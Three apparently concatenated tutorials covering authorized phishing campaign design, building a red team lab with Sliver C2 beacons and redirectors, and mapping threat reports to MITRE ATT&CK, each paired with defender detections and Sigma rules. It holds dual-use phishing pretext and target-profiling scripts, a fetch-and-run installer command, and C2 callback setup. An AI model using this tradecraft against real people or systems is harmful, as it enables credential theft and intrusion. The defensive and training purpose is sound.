Phishing Campaign Design: Pretexting, Lures, and Target Profiling

The most common mistake I see from someone running their first authorized phishing engagement is treating it as an email problem. They obsess over the payload and the landing page, launch on day two, and wonder why the click rate is 4%. The professional sequence is inverted — the message is the last artifact you build. The dossier, the pretext, and the sender domain’s reputation decide whether anyone reads past the subject line. Everything else is decoration.

This walkthrough is written for authorized red teamers and the defenders who have to understand the adversary’s decision chain to break it. Every phase maps to MITRE ATT&CK, and every offensive step is paired with how a blue team sees it.

1. Rules of Engagement and Legal Scope

Phishing simulations touch real people and harvest real PII. None of what follows is legal without explicit, signed authorization. Before a single byte of recon:

• Written authorization naming the target organization, the engagement window, and the specific techniques in scope (attachment vs. link vs. vishing).
• A scoping statement that lists which domains, mailboxes, and employee groups are fair game — and which are explicitly off-limits (legal, HR, executives’ personal accounts).
• Data-handling rules. Harvested credentials, breach-dump matches, and scraped employee data are PII. Encrypt at rest, define a retention window, and destroy on engagement close. You are a custodian, not a collector.
• An abort and de-confliction path so the SOC’s incident response doesn’t burn a weekend chasing your simulation.

If you can’t point to the paragraph in the contract that authorizes a technique, you don’t run it.

2. The Adversary’s Pre-Attack Workflow

Real intrusion sets — APT29, Kimsuky, TA453 — don’t improvise lures. They build a target list first, under the Reconnaissance tactic (TA0043), long before any email leaves an outbox. The workflow is iterative: start with a broad pool of harvested identities, enrich each with org and role context, then narrow to a short list of high-value recipients whose job function makes a specific pretext plausible.

The reason this matters to defenders: most of this generates zero target-side telemetry. Passive identity collection (T1589) reads breach databases and LinkedIn; nothing hits your logs. Your first detectable event is often the inbound message itself — which means the controls that matter most are the ones that limit exposure before the campaign and inspect delivery during it.

3. Target Profiling via OSINT

Passive vs. Active Reconnaissance

Passive recon never touches the target’s infrastructure — breach dumps, social media, cached pages. Active recon (port scans, mail-server probing) does, and it’s noisier. A good profiling phase stays passive as long as possible.

The ATT&CK techniques in play:

Once you know the email format, every name you scrape becomes an address. That’s the whole point of T1589.002:

import itertools

# T1589.002 — derive addresses from a known naming convention.
formats   = ["{first}.{last}", "{f}{last}", "{first}{l}"]
domain    = "example.com"
employees = [("jane", "doe"), ("ahmed", "khan")]

for first, last in employees:
    for fmt in formats:
        addr = fmt.format(first=first, last=last,
                          f=first[0], l=last[0]) + "@" + domain
        print(addr)   # later: validate against MX / catch-all behavior

Scraped profile data turns into a prioritized target map. The goal is T1591.004 — separate the people who can wire money or reset passwords from everyone else:

import json

# T1591.004 — convert scraped profiles into a ranked target list.
with open("profiles.json") as f:
    people = json.load(f)

HIGH_VALUE = {"finance", "accounts payable", "it", "helpdesk", "executive"}

for p in people:
    dept = p.get("department", "").lower()
    priority = "HIGH" if any(k in dept for k in HIGH_VALUE) else "low"
    print(f"{priority:4} | {p['name']:24} | {p['title']}")

Infrastructure and tech-stack intelligence (T1596) tunes the theme. If certificate transparency logs reveal a Citrix or VPN gateway, “your VPN certificate expires in 24 hours” becomes credible:

# T1596 — map the footprint from public technical databases.
whois example.com | grep -Ei 'registrar|creation|name server'
dig +short MX example.com               # mail routing → gateway vendor fingerprint

# Certificate Transparency: enumerate subdomains without touching the target.
curl -s "https://crt.sh/?q=%25.example.com&output=json" \
  | jq -r '.[].name_value' | sort -u

4. Pretexting Fundamentals

A pretext is a fabricated backstory that gives the lure context. The believable ones lean on a small set of influence principles:

The skeleton that turns those principles into a message:

[ROLE the sender claims]        -> "Microsoft 365 Security Team"
+ [AUTHORITY trigger]           -> policy / compliance / mandate
+ [URGENCY hook]                -> "session expires in 24h"
+ [ACTION request]              -> "re-verify at <link>"
+ [PLAUSIBLE sender + branding] -> aged look-alike domain, correct logo
= a lure that survives the recipient's first three seconds of scrutiny

Matching the Pretext to the Role

Profiling pays off here. A generic lure addressed to everyone is weaker than three tailored ones. Finance gets invoice-fraud and vendor-payment-change narratives. IT and helpdesk staff get credential-reset and MFA-enrollment pretexts. Executives get CEO-fraud and board-document lures. The pretext has to fit what the recipient already expects to receive on a normal Tuesday.

5. Lure Design and Delivery Vector Selection

The delivery vector is T1566 (Phishing), and the sub-technique you pick is a trade-off between trust, evasion, and what the target’s controls inspect:

Attachment campaigns rely on User Execution (T1204.002) — the victim has to open and trigger the file. Links exist precisely to avoid attachment scanning. If a gateway detonates attachments, you move to a link; if it rewrites links, you move to something the scanner doesn’t understand.

HTML smuggling is worth understanding because it inverts the perimeter: the file never crosses the network as a file, so attachment and URL scanners see only plain HTML.

<!-- Illustrative ONLY — shows why HTML smuggling evades file/URL scanners.
     The "payload" never traverses the network as a file; the browser builds it
     locally from a string already inside the HTML. The gateway sees inert markup. -->
<script>
  const data = atob("SGVsbG8gZnJvbSB0aGUgYnJvd3Nlcg==");   // benign demo content
  const blob = new Blob([data], { type: "application/octet-stream" });
  const url  = URL.createObjectURL(blob);
  const a    = document.createElement("a");
  a.href = url; a.download = "invoice.txt";                // forces a local "save"
  // a.click();   // auto-trigger left disabled deliberately
</script>

6. Sender Infrastructure and Spoofing

Delivery fails at the envelope if the sender looks wrong. Adversaries register look-alike domains (T1583.001) — corp-helpdesk.example against the real corp.helpdesk.example — and warm up aged sending accounts (T1585.002) so they pass reputation filters. The highest-trust option is hijacking a real conversation from a compromised third-party mailbox (T1586.002), where the reply lands inside an existing thread the victim already trusts.

From the attacker’s chair, the three email-authentication records define what’s possible:

Direct domain spoofing dies against a hard -all SPF record plus DMARC p=reject. That’s why attackers pivot to look-alike domains — a domain you control passes its own SPF and DKIM cleanly, and DMARC has nothing to complain about because the From: is genuinely yours.

A war story worth your hour: I once burned a beautifully aged look-alike domain in the first thirty minutes of a campaign because the landing page’s TLS certificate had been issued that morning. A switched-on analyst pulled the cert transparency log, saw a brand-new cert on a brand-new host receiving inbound clicks, and quarantined the whole run. The same crt.sh query you use to profile a target is the one defenders use to catch you. Provision infrastructure days ahead, not minutes.

7. Reconnaissance Phishing vs. Payload Delivery

Not every phishing message delivers malware. T1598 (Phishing for Information) sits under Reconnaissance — it tricks the target into divulging credentials or actionable data with no payload at all. A fake login portal (T1598.003) harvests a password; callback phishing extracts data verbally over the phone. The defining indicator: no malicious attachment, no exploit-laden link. That absence is what distinguishes T1598 from T1566.

Two modern variants defeat MFA and deserve detection-level treatment (no working frameworks here):

• Adversary-in-the-Middle (T1557). A reverse proxy relays the victim’s real login to the real service and captures the session cookie issued after a successful MFA prompt. The stolen cookie replays the authenticated session — the second factor never protected anything because it already passed.
• MFA Request Generation (T1621). Push-bombing a target with repeated approval prompts until fatigue or confusion yields a tap.
• OAuth device-code phishing. Abusing the device-authorization flow to capture tokens without ever touching a password, against M365 and Google Workspace.

The defensive answer to all three is phishing-resistant authentication — FIDO2 / passkeys — which is not susceptible to relay because the credential is bound to the legitimate origin.

8. Campaign Execution and Metrics

For authorized simulations, GoPhish handles sending profiles, landing pages, and tracking. The shape of a scoped, consented campaign:

# Authorized simulation only. Illustrative profile + campaign shape.
sending_profile:
  name: "IT Helpdesk Sim"
  from_address: "helpdesk@corp-helpdesk.example"   # pre-warmed look-alike
  host: "smtp.relay.internal:587"
  username: "sim-sender"
  ignore_cert_errors: false

campaign:
  name: "Q3 Awareness - Password Reset"
  url: "https://corp-helpdesk.example/reset"        # tracked landing page
  launch_date: "2026-07-01T09:00:00Z"
  tracking_pixel: true                              # open-rate beacon
  groups: ["finance-pilot"]                         # scoped, consented list

Read the metrics honestly. Open rate measures subject-line and sender plausibility. Click rate measures pretext strength. Submit rate — credentials actually entered — is the number that matters for risk, and it’s the one you report. Don’t shame individuals; aggregate by department and feed the result back into training. And when the engagement closes, destroy the harvested submissions per your data-handling rules.

9. Detection and Defense — The Defender’s View

Recon is invisible, so defense concentrates at delivery and execution. Email authentication is the first wall: enforce DMARC p=reject with alignment, and teach analysts to read the headers.

# Defender view: read Authentication-Results to spot spoofing.
$headers = Get-Content .\suspicious.eml -Raw
[regex]::Matches($headers, 'Authentication-Results:.*?(?=\r?\n\S)') |
    ForEach-Object { $_.Value }
# Flag: spf=fail, dkim=fail, dmarc=fail (or dmarc=none = no enforcement)

Post-delivery, the payload betrays itself through process lineage. Key Sysmon events:

The canonical detection — an Office app spawning a script interpreter:

title: Office Application Spawning a Script Interpreter
id: 6c4f1a2e-phishing-office-child
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
      - '\onenote.exe'
    Image|endswith:
      - '\powershell.exe'
      - '\cmd.exe'
      - '\mshta.exe'
      - '\wscript.exe'
      - '\cscript.exe'
  condition: selection
tags:
  - attack.initial_access
  - attack.t1566.001
  - attack.t1204.002
level: high

Catch attachment execution by its working directory:

title: Process Execution From Outlook Attachment Temp Path
id: 9a2b7c10-phishing-outlook-temp
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CurrentDirectory|contains: '\Content.Outlook\'
  condition: selection
tags:
  - attack.initial_access
  - attack.t1566.001
level: high

Credential-harvest fallout shows up in the Security log — 4625 (failed logon), 4740 (lockout from spray), 4688 (process creation with command-line auditing) — and in M365 / Entra ID sign-in risk events. Hardening that actually moves the needle:

• ASR rules blocking Office apps from spawning child processes.
• Protected View + Trust Center disabling internet-origin macros by default, with MOTW enforced even for archive-extracted files to kill the ISO bypass.
• Safe Links / Safe Attachments for click-time URL rewriting and sandbox detonation.
• FIDO2 / passkeys over push-based MFA — the only control that survives AiTM.
• Limiting public OSINT exposure — shallow public org charts, undisclosed email formats, sanitized job postings.
• Awareness training using current lures (ISO, OneNote, QR), not just decade-old attachment scares.

10. MITRE ATT&CK Mapping

Summary

• A phishing campaign is won during reconnaissance, not in the message — the dossier and pretext decide the outcome before delivery.
• Target profiling chains passive OSINT (T1589, T1591, T1593, T1596) into a ranked list, generating almost no target-side telemetry.
• Pretexts weaponize authority, urgency, and familiarity; the strongest ones match the recipient’s actual job function.
• Delivery vector (T1566 sub-techniques) is a trade-off against the controls in place — attachment, link, service, or voice — with ISO, OneNote, quishing, and HTML smuggling as modern evasion paths.
• T1598 harvests data with no payload, and AiTM (T1557) defeats push-based MFA — both demand phishing-resistant FIDO2.
• Defenders win at delivery and execution: enforce DMARC p=reject, hunt Office child-process chains via Sysmon EID 1, and convert every red-team finding into a concrete blue-team control.

Related Tutorials

• Passive OSINT: Mapping the Target Without Touching It
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
• Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration

References

• Phishing (T1566) – Enterprise | MITRE ATT&CK®
• Phishing for Information (T1598) – Enterprise | MITRE ATT&CK®
• Gather Victim Identity Information (T1589) – Enterprise | MITRE ATT&CK®
• Gather Victim Org Information (T1591) – Enterprise | MITRE ATT&CK®
• Phishing: Spearphishing Link (T1566.002) – Enterprise | MITRE ATT&CK®
• Phishing for Information: Spearphishing Service (T1598.001) – Enterprise | MITRE ATT&CK®

Building a Red Team Lab: Infrastructure, VMs, and C2 Setup

Objective: Understand how to design, build, and operate a self-contained red team lab — hypervisor and VM selection, network segmentation, C2 framework deployment, redirector architecture, and OPSEC discipline — so authorized operators get a reproducible practice environment and defenders learn what adversary infrastructure looks like from the inside.

1. Lab Philosophy and Legal Guardrails

A red team lab exists for one reason: to test tradecraft against telemetry without touching production. Everything in this tutorial is for authorized testing inside an isolated environment you own. Never point lab C2 at systems outside your scope.

A dedicated lab gives you two things production cannot. First, repeatability — snapshot, detonate, revert, repeat. Second, observability — you run the blue stack and the red stack side by side and watch every event a real implant generates.

Two build models exist:

• Air-gapped lab — host-only virtual networks with no internet. Safest for malware detonation and EDR-bypass study.
• Cloud-backed lab — VPS-hosted team servers and redirectors for testing real callbacks, domain categorization, and redirector chains.

Most learners start air-gapped and graduate to a hybrid with a single controlled egress gateway.

2. Hardware and Hypervisor Selection

A workable lab runs on a single workstation. The constraint is RAM, because a Domain Controller, a Windows endpoint, a Linux target, and a SIEM run concurrently.

Choose a Type-2 hypervisor:

VMware Workstation Pro / Fusion is preferred for nested virtualization and snapshot fidelity; VirtualBox is the free alternative with less reliable advanced networking.

Snapshot discipline is non-negotiable. Snapshot before each phase — a clean pre-exploitation baseline, a post-compromise state, a post-persistence state — so you can replay a scenario without rebuilding.

3. Network Architecture Design

Segment the lab into tiers so the attacker subnet, target subnet, and monitoring subnet cannot freely route to one another. This mirrors real network boundaries and forces realistic lateral movement.

Build three host-only segments: attacker, target, monitoring. A dedicated “egress” VM with dual NICs (one host-only, one NAT) acts as the only controlled gateway when you must test real C2 callbacks. The monitoring tier should receive logs one-way and remain unreachable from the attacker subnet.

4. Building the Target Network

The target network simulates a small enterprise: a Domain Controller, a domain-joined Windows endpoint, and a Linux host.

Promote the DC with AD DS, configure DNS, then join endpoints to the domain. The following script joins a Windows target, points DNS at the DC, and enables WinRM for management.

# Domain join + WinRM enablement for a lab Windows target
$DC = "192.168.56.10"     # Domain Controller IP
$Domain = "lab.local"

# Point DNS at the DC so domain resolution works
Set-DnsClientServerAddress -InterfaceAlias "Ethernet0" -ServerAddresses $DC

# Enable remote management for lab orchestration
Enable-PSRemoting -Force
Set-Item WSMan:\localhost\Client\TrustedHosts -Value $DC -Force

# Join the domain (prompts for credentials, then reboot)
Add-Computer -DomainName $Domain -Restart

5. Deploying the Blue Team Monitoring Stack

The monitoring tier is what turns a playground into a detection lab. Deploy Wazuh or Security Onion as the SIEM/IDS, then instrument every Windows VM with Sysmon using a community config such as SwiftOnSecurity or Olaf Hartong’s sysmon-modular.

Forward all Windows and Sysmon channels to the SIEM, enable real-time alerting, and leave Windows Defender enabled on targets so you can observe EDR behavior against your implants. Add Zeek for network metadata — its conn.log is invaluable for spotting beaconing.

6. C2 Framework Selection and Trade-offs

A C2 framework is the infrastructure used to control compromised systems remotely. It has three parts: a C2 server (backend), a C2 client (operator interface), and a C2 agent / implant (payload on the target).

Core architecture primitives apply across all of them:

This tutorial uses Sliver as the primary example because it is free, modern, and well-documented at sliver.sh/docs.

7. Deploying Sliver C2

Install the server on a dedicated Ubuntu 22.04 host on the attacker tier. The team server should never be exposed directly — a redirector sits in front of it (Section 8).

# Install Sliver server (run on the dedicated C2 VM)
curl https://sliver.sh/install | sudo bash

# Run as a service so it survives reboots
sudo systemctl enable --now sliver

# Drop into the server console
sliver-server

Inside the console, start an HTTPS listener and generate a Windows x64 beacon. --skip-symbols speeds up builds in a lab; flags change between releases, so verify against the official docs.

# Start an HTTPS listener bound to the redirector-facing interface
https --lhost 192.168.56.20 --lport 443

# Generate a Windows x64 HTTPS beacon
generate beacon --http 192.168.56.20 --os windows --arch amd64 --skip-symbols

# After the implant calls back:
sessions                 # list active sessions
use <session_id>         # interact with a session

The HTTP/S transport is shaped via /root/.sliver/configs/http-c2.json, which controls URIs, headers, and polling behavior. The default mTLS transport listens on 8888.

8. Redirector Architecture

A redirector is a disposable proxy that fronts the team server. Implants talk only to the redirector; if blue team burns its IP, you rebuild it and the long-term server stays hidden.

Implant → Redirector (Nginx/Apache/socat) → C2 Team Server

The redirector filters traffic: requests matching your implant’s expected path and user-agent are forwarded to the team server; everything else is dropped or returned as a benign error or redirected to a legitimate site.

# Nginx redirector: forward only matching C2 traffic, 404 everything else
server {
    listen 443 ssl;
    server_name cdn.example-lab.local;

    location /api/v2/updates {
        # Only forward requests carrying the expected implant User-Agent
        if ($http_user_agent != "Mozilla/5.0 (Windows NT 10.0; Win64; x64)") {
            return 404;
        }
        proxy_pass https://192.168.56.30:443;   # team server (internal)
        proxy_ssl_verify off;
    }

    # Anything else gets a flat 404 — no team server exposure
    location / {
        return 404;
    }
}

For HTTPS redirectors use Apache, Nginx, or Caddy; for DNS redirectors use socat or iptables. In advanced cloud setups, CDN fronting via CloudFront, Azure CDN, or Cloudflare blends C2 with legitimate traffic. Do not deploy domain-fronting or malleable-profile code from a tutorial — reference framework docs.

9. OPSEC and Infrastructure Hygiene

Your infrastructure is your OPSEC. A flat setup is a single point of failure that burns the whole operation.

• Never connect the operator machine directly to the team server. Tunnel through a VPN overlay (WireGuard, Tailscale/Headscale) or a jump box.
• Separate infrastructure for phishing, payload hosting, and C2 — three servers, three redirectors.
• Use aged, categorized domains registered 30+ days prior with a benign-looking category.
• Rotate redirector IPs and never reuse burned infrastructure.
• Geofence access via Cloudflare so only the client’s country can reach C2 and campaign domains, blocking external threat-intel scanners.

A minimal operator WireGuard client routes only team-server traffic through the jump box:

# wg0.conf — operator client tunneling to the jump box
[Interface]
PrivateKey = <operator_private_key>
Address    = 10.10.10.2/32

[Peer]
PublicKey  = <jumpbox_public_key>
Endpoint   = jump.example-lab.local:51820
AllowedIPs = 10.10.10.0/24      # only the team-server subnet
PersistentKeepalive = 25

Relevant transports and ports:

10. Infrastructure-as-Code with Terraform

Terraform declares lab state in configuration, so a burned redirector is rebuilt in minutes. The example provisions a team server and a redirector, then bootstraps the server with remote-exec.

resource "digitalocean_droplet" "c2_server" {
  name   = "c2-teamserver"
  region = "nyc3"
  size   = "s-2vcpu-4gb"
  image  = "ubuntu-22-04-x64"

  provisioner "remote-exec" {
    inline = ["curl https://sliver.sh/install | sudo bash"]
  }
}

resource "digitalocean_droplet" "redirector" {
  name   = "c2-redirector"
  region = "nyc3"
  size   = "s-1vcpu-1gb"
  image  = "ubuntu-22-04-x64"
}

output "c2_ip"        { value = digitalocean_droplet.c2_server.ipv4_address }
output "redirector_ip"{ value = digitalocean_droplet.redirector.ipv4_address }

terraform apply builds the stack and emits IPs; terraform destroy tears it down. Teardown-and-rebuild cycles keep infrastructure disposable.

11. Common Attacker Techniques

These are the primitives a lab is built to study and detect.

12. Defensive Strategies and Detection

Run the same lab as blue team to build detections. Sysmon plus a tuned config surfaces nearly every C2 stage.

Tune Sysmon to capture outbound connections from non-browser processes and DNS queries from shells:

<RuleGroup name="C2 Network" groupRelation="or">
  <NetworkConnect onmatch="include">
    <DestinationPort condition="is">443</DestinationPort>
    <DestinationPort condition="is">53</DestinationPort>
  </NetworkConnect>
  <DnsQuery onmatch="include">
    <Image condition="end with">powershell.exe</Image>
    <Image condition="end with">cmd.exe</Image>
  </DnsQuery>
</RuleGroup>

A Sigma rule for beacon-like connections keys on Sysmon EventID 3, common C2 ports, and an allowlist of browsers. Correlate hits with short, regular intervals to catch low-jitter beacons.

title: Non-Browser Outbound to Common C2 Ports
logsource:
  product: windows
  service: sysmon
  category: network_connection
detection:
  selection:
    EventID: 3
    DestinationPort:
      - 443
      - 80
      - 53
    Initiated: 'true'
  filter_browsers:
    Image|contains:
      - '\chrome.exe'
      - '\firefox.exe'
      - '\msedge.exe'
  condition: selection and not filter_browsers
fields:
  - Image
  - DestinationIp
  - DestinationPort
  - DestinationHostname
level: high

Layer behavioral analytics on top:

• Jitter analysis — alert on outbound HTTPS at regular intervals (e.g., 60 ± 5 s); Zeek conn.log excels at long-duration, low-byte sessions.
• Named-pipe anomalies — Cobalt Strike’s default msagent_* pipe names appear in Sysmon EID 17/18.
• Anomalous parent-child chains — Word.exe → cmd.exe → powershell.exe is a classic phishing chain.
• User-agent mismatch — svchost.exe issuing a Chrome user-agent is anomalous.

Enable Command Line Auditing via GPO (Audit Process Creation → include command line, EID 4688) and forward Microsoft-Windows-PowerShell/Operational (EID 4104) script-block logs to the SIEM. Keep the monitoring tier one-way and unreachable from the attacker subnet.

MITRE ATT&CK Mapping

13. Tools for Red Team Lab Analysis

Summary

• A red team lab is a closed, segmented environment where authorized operators rehearse C2 tradecraft while the blue stack records every event it generates.
• Tiered host-only networks, snapshot discipline, and a Type-2 hypervisor make scenarios isolated and repeatable.
• A team server must never be internet-facing; disposable redirectors front it and are rebuilt with infrastructure-as-code when burned.
• OPSEC is architecture — operator VPN overlays, separated phishing/C2/payload infrastructure, aged domains, and rotated IPs keep operations deniable.
• Detect C2 with Sysmon EID 3/22, jitter and named-pipe analysis, and Sigma rules, mapping every primitive back to MITRE TA0011.

Related Tutorials

• OPSEC Principles for Red Teamers: Staying Undetected
• Setting Up Your Exploit Development Lab (VMs, Debuggers, Tools)
• Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
• Phishing Campaign Design: Pretexting, Lures, and Target Profiling
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

References

• Command and Control, Tactic TA0011 — MITRE ATT&CK Enterprise
• Sliver C2 Framework — MITRE ATT&CK Software S0633
• External C2 Listener Infrastructure — Cobalt Strike Official Docs
• Red Team Infrastructure: The Full Picture — From Domain to Beacon (DbgMan)

Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology

Objective: Learn to parse a real-world cyber threat intelligence (CTI) report and systematically translate its narrative behaviors into precise MITRE ATT&CK tactics, techniques, and sub-techniques — producing an accurate, reusable TTP layer that drives detection engineering, threat hunting, and adversary emulation planning.

1. Why TTP Mapping Matters More Than IOCs

Traditional Indicators of Compromise (IOCs) — hashes, IP addresses, domains — are brittle. An adversary rotates infrastructure and recompiles payloads cheaply, so a hash-based detection expires the moment the campaign moves. Tactics, Techniques, and Procedures (TTPs) describe behavior, which is far costlier for an adversary to change. Re-tooling how you dump LSASS or beacon over HTTPS is expensive; swapping a C2 IP is trivial.

MITRE ATT&CK encodes this behavioral layer into a shared vocabulary. When you map a CTI report to ATT&CK, you convert prose (“the actor ran an encoded PowerShell loader”) into a stable, machine-referenceable identifier (T1059.001) that every tool, team, and report understands. That identifier outlives the campaign and feeds detection, hunting, and emulation directly.

2. ATT&CK Architecture: Tactics, Techniques, Sub-techniques, and Procedures

ATT&CK is a knowledge base of adversary behavior built on three structural levels.

A procedure is the real-world, in-the-wild instance of a technique — the exact way a named group performed it. Procedures appear on each technique page as cited examples.

The 14 Enterprise Tactics

Technique IDs follow the T#### convention; sub-techniques append .### (e.g., T1021, T1059.003). These identifiers standardize communication across detection engineering, intelligence reporting, and red team planning. ATT&CK is versioned — IDs can be deprecated or renumbered across major releases — so always verify against the live matrix at attack.mitre.org.

3. Sourcing and Preparing a CTI Report for Analysis

CTI arrives at three altitudes. Strategic intelligence describes who and why at a board level. Operational intelligence describes campaign-level capability and intent. Tactical intelligence — vendor incident reports, CISA advisories, ISAC bulletins, OSINT write-ups — describes the granular actions you can actually map.

A report is mappable when it describes what the adversary did, not just what it was. Strip attribution bias: the goal is behavior, not a flag. Before mapping, read the full report once end-to-end, then segment the narrative into discrete adversary actions. Each action is a candidate for one or more ATT&CK techniques.

4. The Four-Step Mapping Methodology

CISA’s Best Practices for MITRE ATT&CK Mapping defines a canonical four-step loop. Run it once per behavior.

1. Identify the behavior — extract what the adversary did from the narrative, quoting the source verbatim.
2. Research the behavior — understand the technical action being described; resolve vendor jargon to a concrete mechanism.
3. Translate the behavior into a tactic — identify the adversary’s goal (the why).
4. Identify the technique and sub-technique — match the how against the matrix.

Worked example. Take the narrative: “The actor delivered a spearphishing attachment, then executed an obfuscated PowerShell loader and accessed LSASS memory with a renamed procdump binary.”

Automation helps the first pass. The script below surfaces candidate tactics from raw text — a triage aid, never a final answer.

# First-pass triage only — surfaces CANDIDATE tactics for manual review.
TACTIC_KEYWORDS = {
    "TA0001": ["phishing", "spearphishing", "supply chain", "exploited public"],
    "TA0002": ["powershell", "executed", "ran script", "command interpreter"],
    "TA0005": ["obfuscated", "base64", "encoded", "disabled logging"],
    "TA0006": ["lsass", "credential", "dumped", "mimikatz"],
    "TA0011": ["beacon", "c2", "https post", "command and control"],
}

def candidate_tactics(report_text: str):
    text = report_text.lower()
    return {ta: [w for w in words if w in text]
            for ta, words in TACTIC_KEYWORDS.items()
            if any(w in text for w in words)}

excerpt = ("The actor used a spearphishing attachment, then ran an "
           "obfuscated PowerShell loader and dumped LSASS memory.")
for ta, words in candidate_tactics(excerpt).items():
    print(ta, "->", words)

If a sub-technique is not easily identifiable — and there may not be one in every case — review the procedure examples on the technique page. They link the source CTI reports behind the original mapping and may affirm your choice or suggest an alternative. There is always a possibility a behavior is a new technique not yet covered in ATT&CK.

5. Disambiguation: Choosing the Right Technique When Multiple Apply

Ambiguity is the hard part. One behavior frequently maps to several tactics. T1078 Valid Accounts spans Initial Access (TA0001), Persistence (TA0003), Privilege Escalation (TA0004), and Defense Evasion (TA0005) — the correct tactic depends on what the account was used for in that step, not the account itself.

Rules of thumb:

• Map to the tactic that matches the adversary’s goal at that moment, not every goal the technique can serve.
• Prefer the technique level when the report lacks the detail to justify a sub-technique. Forcing T1003.001 when the report only says “stole credentials” is over-mapping.
• Use the procedure examples to calibrate. If your behavior reads nothing like the cited procedures, re-investigate.
• T1218 System Binary Proxy Execution and T1027 Obfuscated Files or Information often co-occur with execution techniques — record them as distinct Defense Evasion entries rather than collapsing them.

6. The Analyst Mapping Worksheet

The core analyst deliverable is a worksheet that preserves the audit trail from quote to ID. Confidence and rationale columns make the mapping reviewable.

This worksheet becomes the source of truth that all downstream artifacts — Navigator layers, Sigma rules, emulation plans — derive from.

7. Tooling: ATT&CK Navigator, Decider, and the STIX/TAXII API

ATT&CK Navigator is MITRE’s web tool for visually annotating the matrix. You represent a mapped TTP set as a versioned layer JSON — a portable, diff-able artifact you commit to version control.

{
  "name": "APT-Sample CTI Mapping",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "description": "TTPs extracted from CTI report; scored by confidence.",
  "techniques": [
    { "techniqueID": "T1566.001", "score": 100, "color": "#e60d0d",
      "comment": "Spearphishing attachment delivered loader (High)" },
    { "techniqueID": "T1059.001", "score": 100, "color": "#e60d0d",
      "comment": "Obfuscated PowerShell stager (High)" },
    { "techniqueID": "T1003.001", "score": 75, "color": "#e68a0d",
      "comment": "LSASS access via renamed procdump (Medium)" }
  ]
}

CISA Decider eases disambiguation by asking a series of guided questions about adversary activity, walking you to the correct tactic, technique, or sub-technique — invaluable when an analyst is uncertain.

For programmatic work, query the public read-only TAXII 2.1 endpoint (https://attack-taxii.mitre.org/, Enterprise collection x-mitre-collection--1f5f1533-f617-4ca8-9ab4-6a02367fa019). The ATT&CK dataset is STIX 2.1 JSON: techniques are attack-pattern objects, groups are intrusion-set, software is malware / tool. Pull techniques attributed to a group to cross-check your mapping against MITRE’s own group profile.

from mitreattack.stix20 import MitreAttackData

# Load the Enterprise STIX 2.1 bundle (download once from attack-stix-data)
attack = MitreAttackData("enterprise-attack.json")

# Resolve a threat group alias to its intrusion-set object
group = attack.get_groups_by_alias("APT29")[0]

# Enumerate every technique attributed to the group
for t in attack.get_techniques_used_by_group(group["id"]):
    obj = t["object"]
    print(attack.get_attack_id(obj["id"]), "\t", obj["name"])

8. From TTP Map to Adversary Profile

Aggregate worksheets across an entire campaign to build an adversary profile. Correlate your mapped techniques against the relevant ATT&CK Groups page to validate consistency and surface techniques the actor is known to use but the report omitted. Score the aggregated layer by frequency or confidence to produce a TTP heat map, then prioritize against your priority intelligence requirements (PIRs). The heat map feeds directly into detection gap analysis.

import csv, json

# Load the mapped TTP layer and the internal detection inventory
layer = json.load(open("cti_layer.json"))
covered = set()
with open("detection_coverage.csv") as fh:            # cols: technique_id, rule_name
    for row in csv.DictReader(fh):
        covered.add(row["technique_id"])

print("TechniqueID\tCovered")
for t in layer["techniques"]:
    tid = t["techniqueID"]
    print(f"{tid}\t{tid in covered}")

9. Quality Assurance: Peer Review and Common Mapping Errors

A formal peer review of an annotated report shares perspectives, promotes learning, and improves accuracy. A second analyst routinely catches TTPs missed in the first pass and enforces mapping consistency across the team.

Watch for these recurring errors:

• Over-mapping — assigning techniques the report does not support.
• Under-mapping — missing key behaviors buried in the narrative.
• Conflating technique with tactic — recording a goal where a behavior belongs.
• Misidentifying sub-techniques — forcing .### granularity the source lacks.
• Mapping to deprecated techniques — always validate against the current ATT&CK version.

10. Common Attacker Techniques in CTI Reports

These behaviors dominate tactical CTI and should be in every analyst’s recognition vocabulary.

11. Defensive Strategies & Detection

The output of mapping is a prioritized list of behaviors to detect. Each ATT&CK technique page lists Data Sources (e.g., DS0009 Process, DS0011 Module, DS0017 Command, DS0022 File, DS0028 Logon Session, DS0029 Network Traffic) and Mitigations (e.g., M1038 Execution Prevention, M1026 Privileged Account Management). Pull these per technique to convert the map into telemetry requirements and hardening tasks.

Sysmon Events Tied to Mapped Behaviors

Enable the supporting Windows audit policies: Audit Process Creation (Event ID 4688 with command line), Audit Logon Events (4624/4625/4648 for T1078), Audit Object Access → SAM (4661 for T1003), and PowerShell Script Block Logging (4104 for T1059.001).

A Sigma rule operationalizes one mapped technique. Tags follow attack.t1003_001 (lowercase, underscore for the sub-technique separator) and attack.ta0006 for the tactic.

title: Cross-Process Access to LSASS Memory
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess: '0x1410'
  condition: selection
tags:
  - attack.t1003_001
  - attack.ta0006
level: high

Feed the completed layer into DeTT&CT (Detect Tactics, Techniques & Combat Threats) to align mapped TTPs against your data source visibility and detection coverage — the natural follow-on to mapping. The same layer drives the red team emulation plan, ensuring offensive testing exercises the exact behaviors the CTI reported.

12. Tools for CTI Mapping Analysis

13. MITRE ATT&CK Mapping Reference

Summary

• CTI-to-ATT&CK mapping converts perishable IOCs into durable, behavioral TTPs that survive across campaigns and standardize defensive communication.
• ATT&CK is structured as tactics (the why), techniques (the how), and sub-techniques (granular methods), each with stable TA#### / T####.### identifiers.
• The CISA four-step loop — identify, research, translate to tactic, identify technique — produces an auditable mapping worksheet that anchors every downstream artifact.
• Navigator layers, CISA Decider, and the public TAXII 2.1 STIX endpoint operationalize and version-control the mapping; peer review guards against over-mapping, under-mapping, and tactic/technique confusion.
